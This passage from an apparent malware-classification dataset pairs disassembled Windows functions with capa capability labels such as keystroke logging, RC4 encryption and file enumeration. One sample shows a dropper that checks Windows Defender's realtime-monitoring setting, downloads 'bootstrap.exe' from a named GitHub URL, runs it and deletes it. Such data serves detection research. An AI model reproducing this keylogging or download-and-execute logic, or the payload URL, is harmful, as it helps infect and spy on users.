joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180158010
Capabilities:
Log keystrokes via polling

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x38
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x180158056
movsxd rax, dword [rsp + 0x40]
lea rcx, [0x1803d3080]
movzx eax, byte [rcx + rax]
test eax, eax
jne 0x180158054
movsxd rax, dword [rsp + 0x40]
lea rcx, [0x1803d3080]
mov byte [rcx + rax], 1
mov al, 1
jmp 0x180158085
jmp 0x180158083
movsxd rax, dword [rsp + 0x40]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0x100
jae 0x18015806d
jmp 0x180158073
call fcn.1801b03c8
nop
lea rax, [0x1803d3080]
mov rcx, qword [rsp + 0x20]
mov byte [rax + rcx], 0
xor al, al
add rsp, 0x38
ret
Function at 0x180169bd0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x50
mov rax, qword [rcx + 8]
mov ebp, r8d
mov ecx, 0x3e80000
mov rbx, qword [rax + 0x218]
mov rax, qword [rdx + 0x80]
movzx edx, word [rdx + 0x68]
movzx edi, word [rax + 0x18]
mov eax, 0x40000
shl edi, 0x10
cmp edi, eax
cmovl edi, eax
shl edx, 0x10
call fcn.180159540
mov dword [rsp + 0x24], eax
mov ecx, eax
cmp eax, 0x28f
jge 0x180169c26
xor eax, eax
add rsp, 0x50
pop rdi
pop rbp
pop rbx
ret
mov eax, dword [rbx + 0x24]
mov qword [rsp + 0x80], rsi
mov esi, dword [rbx + 0x28]
mov qword [rsp + 0x48], r12
mov r12d, dword [rbx + 0x30]
mov qword [rsp + 0x40], r13
mov r13d, dword [rbx + 0x38]
mov dword [rsp + 0x20], eax
mov eax, dword [rbx + 0x2c]
mov qword [rsp + 0x38], r14
mov r14d, dword [rbx + 0x40]
mov dword [rsp + 0x78], eax
mov eax, dword [rbx + 0x3c]
mov qword [rsp + 0x30], r15
mov r15d, dword [rbx + 0x34]
mov dword [rsp + 0x88], eax
test ebp, ebp
jg 0x180169c78
mov ebp, 0x4b0000
jmp 0x180169c8d
shl ebp, 0x10
mov edx, ecx
mov ecx, ebp
call fcn.18015b620
mov ebp, eax
mov eax, dword [rsp + 0x88]
shl eax, 0x10
mov ecx, ebp
mov dword [rsp + 0x70], eax
call fcn.18015b0a0
mov ecx, edi
mov ebx, eax
call fcn.18015b0a0
add ebx, eax
cmp ebx, 0x2e
jl 0x180169cb3
mov edx, dword [rsp + 0x70]
mov ecx, edx
jmp 0x180169cc2
mov edx, edi
mov ecx, ebp
call fcn.18015b620
mov edx, dword [rsp + 0x70]
mov ecx, eax
mov r9d, dword [rsp + 0x20]
mov eax, r9d
shl eax, 0x10
cmp ecx, eax
jge 0x180169cdb
shl esi, 0x10
mov ecx, esi
jmp 0x180169dc4
mov r8d, dword [rsp + 0x78]
mov ebx, r8d
shl ebx, 0x10
cmp ecx, ebx
jge 0x180169d2b
mov ecx, r8d
mov edx, edi
sub ecx, r9d
mov dword [rsp + 0x70], ecx
mov ecx, eax
call fcn.180159540
mov r8d, dword [rsp + 0x70]
mov ecx, ebp
sub ecx, eax
test r8d, r8d
je 0x180169d7f
sub r12d, esi
mov edx, r12d
call fcn.18015b410
shl esi, 0x10
mov edx, edi
mov ecx, esi
mov ebx, eax
call fcn.180159540
add ebx, eax
jmp 0x180169dcd
mov eax, r15d
shl eax, 0x10
cmp ecx, eax
jl 0x180169d84
cmp ecx, edx
jge 0x180169dbd
mov ebx, dword [rsp + 0x88]
mov edx, edi
sub ebx, r15d
shl r15d, 0x10
mov ecx, r15d
call fcn.180159540
sub ebp, eax
test ebx, ebx
je 0x180169dbd
sub r14d, r13d
mov r8d, ebx
mov edx, r14d
mov ecx, ebp
call fcn.18015b410
shl r13d, 0x10
mov edx, edi
mov ecx, r13d
mov ebx, eax
call fcn.180159540
add ebx, eax
jmp 0x180169dcd
mov r8d, dword [rsp + 0x78]
mov esi, r15d
mov edx, edi
mov ecx, ebx
sub esi, r8d
call fcn.180159540
mov ecx, ebp
sub ecx, eax
test esi, esi
je 0x180169d3d
sub r13d, r12d
mov r8d, esi
mov edx, r13d
call fcn.18015b410
shl r12d, 0x10
mov edx, edi
mov ecx, r12d
mov ebx, eax
call fcn.180159540
add ebx, eax
jmp 0x180169dcd
shl r14d, 0x10
mov ecx, r14d
mov edx, edi
call fcn.180159540
mov ebx, eax
mov edx, dword [rsp + 0x24]
mov ecx, ebx
call fcn.180159540
mov r15, qword [rsp + 0x30]
add eax, 0x8000
mov r14, qword [rsp + 0x38]
mov r13, qword [rsp + 0x40]
mov r12, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x80]
shr eax, 0x10
cwde
add rsp, 0x50
pop rdi
pop rbp
pop rbx
ret
Function at 0x18016a3d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x60
mov r14, rcx
mov ebp, r9d
mov rcx, qword [r8 + 0x80]
mov rbx, r8
test rcx, rcx
jne 0x18016a3fc
mov eax, 0x24
add rsp, 0x60
pop r14
pop rbp
pop rbx
ret
mov qword [rsp + 0x80], rsi
mov esi, dword [rsp + 0xa0]
mov qword [rsp + 0x28], rbx
mov eax, dword [rcx + 0x1c]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x50], r15
xor r15d, r15d
mov dword [rsp + 0x38], r15d
mov eax, dword [rcx + 0x20]
mov ecx, r15d
mov dword [rsp + 0x34], eax
mov eax, esi
sar eax, 0x10
and eax, 0xf
mov qword [r14], rbx
mov dword [rsp + 0x40], eax
mov rax, qword [r8 + 0xb8]
mov dword [rsp + 0x3c], r15d
mov dword [rsp + 0x44], r15d
mov qword [r14 + 8], rax
test rax, rax
jne 0x18016a48f
mov r8, rdx
mov rcx, rbx
lea rdx, [r14 + 8]
call fcn.180165c00
mov ecx, eax
test eax, eax
jne 0x18016a48f
mov rax, qword [r14 + 8]
mov qword [rbx + 0xb8], rax
lea rax, [fcn.180165b10]
mov qword [rbx + 0xc0], rax
jmp 0x18016a497
test ecx, ecx
jne 0x18016a606
mov rdi, qword [r14 + 8]
lea r8, [0x180000000]
mov rbx, r15
mov dword [rsp + 0x90], r15d
cmp ebp, dword [rdi + 8]
jb 0x18016a4c2
mov dword [rsp + 0x90], 6
jmp 0x18016a58b
mov rax, qword [rdi + 0x10]
movzx edx, word [rax + rbp*2]
and edx, 0x3fff
mov rbx, qword [rdi + rdx*8 + 0x20]
lea r15, [rdi + rdx*8]
test rbx, rbx
jne 0x18016a58b
mov rax, qword [rdi]
mov qword [rsp + 0x98], r12
mov r12, qword [r8 + rdx*8 + 0x333f80]
mov qword [rsp + 0x58], r13
mov rcx, qword [rax + 0x98]
mov qword [rsp + 0x20], rcx
movsxd rax, dword [r12 + 4]
mov r13, qword [r8 + rax*8 + 0x333378]
lea r8, [rsp + 0x90]
mov edx, dword [r13 + 8]
call fcn.180160b50
cmp dword [rsp + 0x90], 0
mov rbx, rax
jne 0x18016a577
mov qword [rax], r12
mov qword [rax + 0x30], rdi
mov rax, qword [r13 + 0x10]
test rax, rax
je 0x18016a573
mov rdx, qword [rdi]
mov rcx, rbx
call rax
mov dword [rsp + 0x90], eax
test eax, eax
je 0x18016a573
mov rax, qword [r13 + 0x20]
test rax, rax
je 0x18016a562
mov rcx, rbx
call rax
mov rcx, qword [rsp + 0x20]
mov rdx, rbx
call fcn.180160bd0
xor ebx, ebx
jmp 0x18016a577
mov qword [r15 + 0x20], rbx
mov r12, qword [rsp + 0x98]
lea r8, [0x180000000]
mov r13, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x90]
test ecx, ecx
jne 0x18016a606
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
mov rdi, qword [r8 + rcx*8 + 0x333378]
mov qword [r14 + 0x18], rbx
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x18016a5be
lea rdx, [rsp + 0x28]
mov rcx, rbx
call rax
jmp 0x18016a5d0
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rbx + 8], xmm0
movups xmm1, xmmword [rsp + 0x38]
movups xmmword [rbx + 0x18], xmm1
mov rax, qword [rdi + 0x30]
and esi, 0xfffffffb
or esi, 0x801
test rax, rax
je 0x18016a5f1
mov rcx, qword [r14 + 0x10]
mov rdx, rbx
call rax
mov ecx, eax
test eax, eax
jne 0x18016a606
mov r9d, esi
lea rdx, [rsp + 0x28]
mov r8d, ebp
mov rcx, r14
call fcn.180169e10
mov ecx, eax
mov r15, qword [rsp + 0x50]
mov eax, ecx
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop r14
pop rbp
pop rbx
ret
Function at 0x18019a9c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rax, qword [rcx + 0x28]
xor r14d, r14d
sub rax, 0x34
mov qword [rcx + 0x88], r14
mov qword [rcx + 0x30], rax
mov ebp, edx
mov rax, qword [rcx + 0x38]
mov rbx, rcx
mov word [rcx + 0x7a], r14w
mov esi, r14d
mov dword [rcx + 0x44], r14d
mov qword [rcx + 0x80], rax
mov qword [rax + 0x10], rax
mov word [rcx + 0x78], r14w
cmp r14w, word [rcx + 0xc8]
jge 0x18019ab1e
movzx r10d, r14w
mov edi, r14d
nop word [rax + rax]
mov r8, qword [rbx + 0xe0]
mov r9d, ebp
mov dword [rbx + 0x98], r14d
movzx edx, r10w
mov qword [rbx + 0x90], r14
mov rcx, rbx
movzx r8d, word [rdi + r8]
call fcn.18019ae90
test al, al
jne 0x18019abb7
mov rax, qword [rbx + 0xe0]
mov r8d, dword [rbx + 4]
mov edx, dword [rbx + 0x6c]
movzx r10d, word [rdi + rax]
lea eax, [r8 - 1]
test edx, eax
jne 0x18019aaab
cmp edx, dword [rbx + 0x70]
jl 0x18019aaab
cmp edx, dword [rbx + 0x74]
jg 0x18019aaab
mov r9, qword [rbx + 0x90]
test r9, r9
je 0x18019aaab
mov rax, qword [rbx + 0x80]
movzx ecx, byte [rax + 0x18]
xor cl, byte [r9 + 0x18]
test cl, 8
jne 0x18019aaab
add qword [rbx + 0x38], 0xfffffffffffffffc
mov r9, qword [rbx + 0x80]
mov rax, qword [r9 + 0x10]
cmp qword [rbx + 0x38], rax
je 0x18019aad1
test byte [r9 + 0x18], 8
je 0x18019aad1
neg r8d
and r8d, edx
sub edx, r8d
cmp edx, dword [rbx + 8]
jmp 0x18019aae2
lea eax, [r8 - 1]
neg r8d
add eax, edx
and eax, r8d
sub eax, edx
cmp eax, dword [rbx + 8]
setge dl
mov rcx, rbx
call fcn.18019b880
test al, al
jne 0x18019abb7
mov rax, qword [rbx + 0x90]
test rax, rax
je 0x18019ab05
mov qword [r9 + 0x28], rax
movsx eax, word [rbx + 0xc8]
inc esi
add rdi, 2
inc r10w
cmp esi, eax
jl 0x18019aa30
movzx edi, word [rbx + 0x78]
mov rdx, qword [rbx + 0x88]
cmp di, 1
jbe 0x18019abbb
test rdx, rdx
je 0x18019abbb
mov ebp, 0xffff
lea rsi, [rdx + 8]
cmp di, 1
jbe 0x18019ab59
movsxd rcx, dword [rdx + 0x1c]
mov rax, qword [rdx + 0x10]
lea r10, [rax + rcx*4]
jmp 0x18019ab5c
mov r10, r14
mov qword [rsi], r10
test byte [rdx + 0x18], 8
mov r11d, dword [rdx + 0x20]
mov r8d, r11d
mov eax, dword [rdx + 0x1c]
je 0x18019ab77
dec r11d
add r11d, eax
jmp 0x18019ab8e
sub r8d, eax
inc r8d
dec eax
mov dword [rdx + 0x20], r8d
movsxd rcx, eax
shl rcx, 2
add qword [rdx + 0x10], rcx
mov edx, r8d
mov rcx, rbx
call fcn.18019bbb0
test al, al
jne 0x18019abb7
lea edx, [r11 + 1]
mov rcx, rbx
call fcn.18019bbb0
test al, al
jne 0x18019abb7
mov rdx, qword [rsi]
add di, bp
jne 0x18019ab41
jmp 0x18019abc2
mov al, 1
jmp 0x18019abcd
mov qword [rbx + 0x88], r14
mov rax, qword [rbx + 0x30]
cmp qword [rbx + 0x38], rax
setae al
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1801b141c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1801b1456
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1801b145b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1801b14a4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x18034bdb0]
cmp byte [rcx + rax], 0
je 0x1801b14a4
dec r8
sub rdx, 1
jne 0x1801b148a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140011393
Capabilities:
Terminate process

Disassembly:
jmp 0x140019ee0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400113f2
Capabilities:
Download url
Receive data

Disassembly:
jmp 0x140014f20
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rcx, [0x14002e0fa]
call fcn.1400116b3
nop
mov rcx, qword [rbp + 0x108]
call fcn.140011235
mov qword [rbp + 0xd8], rax
mov rcx, qword [rbp + 0x100]
call fcn.140011235
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0xd8]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call fcn.140011631
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x140014f99
mov dword [rbp + 0xd4], 1
jmp 0x140014fa3
mov dword [rbp + 0xd4], 0
movzx eax, byte [rbp + 0xd4]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x140011492
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001b230
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001b250
xor al, al
jmp 0x14001b2d1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001b263
xor al, al
jmp 0x14001b2d1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001b28d
xor al, al
jmp 0x14001b2d1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001b2a1
xor al, al
jmp 0x14001b2d1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001b2b3
xor al, al
jmp 0x14001b2d1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001b2cf
xor al, al
jmp 0x14001b2d1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400114a1
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x140016000
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140028040]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x14002e0fa]
call fcn.1400116b3
nop
mov dword [rbp + 0x24], 4
mov dword [rbp + 0x64], 4
lea rax, str.SOFTWAREMicrosoftWindows_DefenderReal_Time_Protection
mov qword [rbp + 0x88], rax
lea rax, str.DisableRealtimeMonitoring
mov qword [rbp + 0xa8], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, qword [rbp + 0x88]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400160fb
lea rax, [rbp + 0x64]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x44]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x24]
xor r8d, r8d
mov rdx, qword [rbp + 0xa8]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400160f0
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
cmp dword [rbp + 0x44], 1
jne 0x1400160dd
mov dword [rbp + 0x174], 1
jmp 0x1400160e7
mov dword [rbp + 0x174], 0
movzx eax, byte [rbp + 0x174]
jmp 0x1400160fd
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140022130]
call fcn.1400115a5
mov rax, rdi
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.140011325
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x1400114ce
Capabilities:
Enumerate files on windows

Disassembly:
jmp 0x140014fe0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x688
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x10a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x6a8]
mov rax, qword [0x140028040]
xor rax, rbp
mov qword [rbp + 0x658], rax
lea rcx, [0x14002e0fa]
call fcn.1400116b3
nop
lea r8, [0x140022e58]
mov rdx, qword [rbp + 0x680]
lea rcx, [rbp + 0x598]
call fcn.14001160e
mov qword [rbp + 0x648], rax
mov rcx, qword [rbp + 0x648]
call fcn.140011235
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x278], rax
lea rcx, [rbp + 0x598]
call fcn.1400115f0
nop
cmp qword [rbp + 0x278], 0xffffffffffffffff
jne 0x14001508e
xor al, al
jmp 0x1400151f8
lea rdx, [rbp + 0x3c]
lea rcx, [rbp + 0x298]
call fcn.14001122b
nop
mov eax, dword [rbp + 0x10]
and eax, 0x10
test eax, eax
je 0x1400150bb
lea rcx, [rbp + 0x298]
call fcn.1400115f0
nop
jmp 0x1400151cf
mov rax, qword [rbp + 0x688]
mov qword [rbp + 0x2d8], rax
mov rcx, qword [rbp + 0x2d8]
call fcn.1400114e2
mov qword [rbp + 0x2f8], rax
mov rcx, qword [rbp + 0x2d8]
call fcn.1400114c9
mov qword [rbp + 0x318], rax
jmp 0x140015103
mov rax, qword [rbp + 0x2f8]
add rax, 0x28
mov qword [rbp + 0x2f8], rax
mov rax, qword [rbp + 0x318]
cmp qword [rbp + 0x2f8], rax
je 0x1400151c2
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x338], rax
mov r8, qword [rbp + 0x338]
lea rdx, [0x140022e58]
lea rcx, [rbp + 0x5f8]
call fcn.140011735
mov qword [rbp + 0x648], rax
mov rcx, qword [rbp + 0x648]
call fcn.140011235
mov qword [rbp + 0x650], rax
lea rcx, [rbp + 0x298]
call fcn.140011235
mov rcx, qword [rbp + 0x650]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
mov dword [rbp + 0x5d4], eax
lea rcx, [rbp + 0x5f8]
call fcn.1400115f0
cmp dword [rbp + 0x5d4], 0
je 0x1400151bd
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
mov byte [rbp + 0x634], 1
lea rcx, [rbp + 0x298]
call fcn.1400115f0
movzx eax, byte [rbp + 0x634]
jmp 0x1400151f8
jmp 0x1400150f1
lea rcx, [rbp + 0x298]
call fcn.1400115f0
nop
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14001508e
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140022380]
call fcn.1400115a5
mov rax, rdi
mov rcx, qword [rbp + 0x658]
xor rcx, rbp
call fcn.140011325
lea rsp, [rbp + 0x668]
pop rdi
pop rbp
ret
Function at 0x1400114e7
Capabilities:
Delete file

Disassembly:
jmp 0x140017d30
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [0x140028040]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x14002e0fa]
call fcn.1400116b3
nop
call fcn.1400114a1
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
test eax, eax
je 0x140017e33
call fcn.1400114a1
movzx eax, al
test eax, eax
jne 0x140017e33
call fcn.140011681
movzx eax, al
test eax, eax
jne 0x140017e33
lea rdx, str.https:__github.com_baltekbezmajtek_pedronegro_releases_download_troll_bootstrap.exe
lea rcx, [rbp + 0x28]
call fcn.14001122b
nop
lea rdx, str.C:UsersPublic_bootstrap.exe
lea rcx, [rbp + 0x68]
call fcn.14001122b
nop
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x28]
call fcn.1400113f2
movzx eax, al
test eax, eax
je 0x140017e1e
lea rcx, [rbp + 0x68]
call fcn.140011528
movzx eax, al
test eax, eax
je 0x140017e1e
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x68]
call fcn.140011235
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
lea rcx, [rbp + 0x68]
call fcn.1400115f0
lea rcx, [rbp + 0x28]
call fcn.1400115f0
nop
jmp 0x140017e47
call fcn.1400114a1
movzx eax, al
test eax, eax
jne 0x140017e47
call fcn.140011681
movzx eax, al
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140021c50]
call fcn.1400115a5
mov eax, edi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.140011325
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x140011528
Capabilities:
Create process on windows

Disassembly:
jmp 0x140015b30
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rcx, [0x14002e0fa]
call fcn.1400116b3
nop
mov rcx, qword [rbp + 0x100]
call fcn.140011235
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rbp + 8], rax
cmp dword [rbp + 8], 0x20
jle 0x140015b98
mov dword [rbp + 0xd4], 1
jmp 0x140015ba2
mov dword [rbp + 0xd4], 0
movzx eax, byte [rbp + 0xd4]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x14001169a
Capabilities:
Enumerate files on windows

Disassembly:
jmp 0x1400152c0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x568
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xf2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x588]
mov rax, qword [0x140028040]
xor rax, rbp
mov qword [rbp + 0x530], rax
lea rcx, [0x14002e0fa]
call fcn.1400116b3
nop
lea r8, [0x140022e58]
mov rdx, qword [rbp + 0x560]
lea rcx, [rbp + 0x4d8]
call fcn.14001160e
mov qword [rbp + 0x528], rax
mov rcx, qword [rbp + 0x528]
call fcn.140011235
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x278], rax
lea rcx, [rbp + 0x4d8]
call fcn.1400115f0
nop
cmp qword [rbp + 0x278], 0xffffffffffffffff
jne 0x14001536e
xor al, al
jmp 0x14001547d
lea rdx, [rbp + 0x3c]
lea rcx, [rbp + 0x298]
call fcn.14001122b
nop
mov eax, dword [rbp + 0x10]
and eax, 0x10
test eax, eax
je 0x14001539b
lea rcx, [rbp + 0x298]
call fcn.1400115f0
nop
jmp 0x140015454
mov rax, qword [rbp + 0x568]
mov qword [rbp + 0x2d8], rax
mov rcx, qword [rbp + 0x2d8]
call fcn.1400114e2
mov qword [rbp + 0x2f8], rax
mov rcx, qword [rbp + 0x2d8]
call fcn.1400114c9
mov qword [rbp + 0x318], rax
jmp 0x1400153e3
mov rax, qword [rbp + 0x2f8]
add rax, 0x28
mov qword [rbp + 0x2f8], rax
mov rax, qword [rbp + 0x318]
cmp qword [rbp + 0x2f8], rax
je 0x140015447
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x338], rax
mov rdx, qword [rbp + 0x338]
lea rcx, [rbp + 0x298]
call fcn.1400111ae
movzx eax, al
test eax, eax
je 0x140015445
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
mov byte [rbp + 0x514], 1
lea rcx, [rbp + 0x298]
call fcn.1400115f0
movzx eax, byte [rbp + 0x514]
jmp 0x14001547d
jmp 0x1400153d1
lea rcx, [rbp + 0x298]
call fcn.1400115f0
nop
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14001536e
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140022220]
call fcn.1400115a5
mov rax, rdi
mov rcx, qword [rbp + 0x530]
xor rcx, rbp
call fcn.140011325
lea rsp, [rbp + 0x548]
pop rdi
pop rbp
ret
Function at 0x140018b20
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400116e5
movzx eax, al
test eax, eax
jne 0x140018b40
mov ecx, 7
call fcn.1400115b4
nop
mov byte [rsp + 0x20], 0
call fcn.1400115eb
mov byte [rsp + 0x21], al
cmp dword [0x140028b88], 1
jne 0x140018b64
mov ecx, 7
call fcn.1400115b4
nop
jmp 0x140018bbc
cmp dword [0x140028b88], 0
jne 0x140018bb7
mov dword [0x140028b88], 1
lea rdx, [0x140021660]
lea rcx, [0x140021330]
call fcn.14001130c
test eax, eax
je 0x140018b98
mov eax, 0xff
jmp 0x140018cc1
lea rdx, [0x140021220]
lea rcx, [section..rdata]
call fcn.1400115d7
mov dword [0x140028b88], 2
jmp 0x140018bbc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011596
call fcn.1400114d3
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140018c19
mov rcx, qword [rsp + 0x30]
call fcn.140011285
movzx eax, al
test eax, eax
je 0x140018c19
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14002f020]
nop
call fcn.140011523
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140018c4d
mov rcx, qword [rsp + 0x38]
call fcn.140011285
movzx eax, al
test eax, eax
je 0x140018c4d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001168b
nop
call fcn.140018d70
mov dword [rsp + 0x28], eax
call fcn.140011492
movzx eax, al
test eax, eax
jne 0x140018c6c
mov ecx, dword [rsp + 0x28]
call fcn.14001108c
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140018c7b
call fcn.14001169f
nop
xor edx, edx
mov cl, 1
call fcn.140011262
mov eax, dword [rsp + 0x28]
jmp 0x140018cc1
add rsp, 0x68
ret